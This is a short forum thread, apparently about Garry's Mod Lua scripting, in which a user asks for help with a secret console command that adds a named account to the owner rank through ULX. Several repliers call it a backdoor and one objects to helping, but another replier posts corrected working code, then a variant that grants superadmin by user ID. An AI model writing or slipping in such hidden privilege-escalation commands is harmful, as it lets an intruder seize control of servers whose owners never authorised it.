concommand adding

Hai guys i was working on adding a concommand into luarun but it is not working properply it is post to add the player to the rank when the word is said in console

concommand.Add(“Nudesloveschicken”, function() RunConsoleCommand(“ulx adduser Nudiez owner”) end)

Help’s appreciated C:

You want help backdooring something don’t you. :weeb:

Or he probably thought Lua was some kind of cheat code system.

ergh…

“Note, that unlike Player:ConCommand, you must pass each argument as a new string, not separating them with a space.

Except the code is meant to elevate privileges. I mean Nudesloveschicken trying to trigger ulx adduser Nudiez owner

I don’t think you’re that naive.

Don’t help randoms with creating malicious code. It’s detrimental to the community as a whole.

[lua]
concommand.Add(“Nudesloveschicken”, function()
RunConsoleCommand(“ulx”, “adduser”, “Nudiez”, “owner”)
end )
[/lua]
happy christmas

also using code like that & placing it on the clients won’t work well

edit: because i was rated dumb, i’ll go a step further

[lua]
concommand.Add(“Nudesloveschicken”, function()
RunConsoleCommand(“ulx”, “adduserid”, “place your id in here”, “superadmin”) //server group changed, just in case owner group doesn’t exist. edit your id in the third string
end )
[/lua]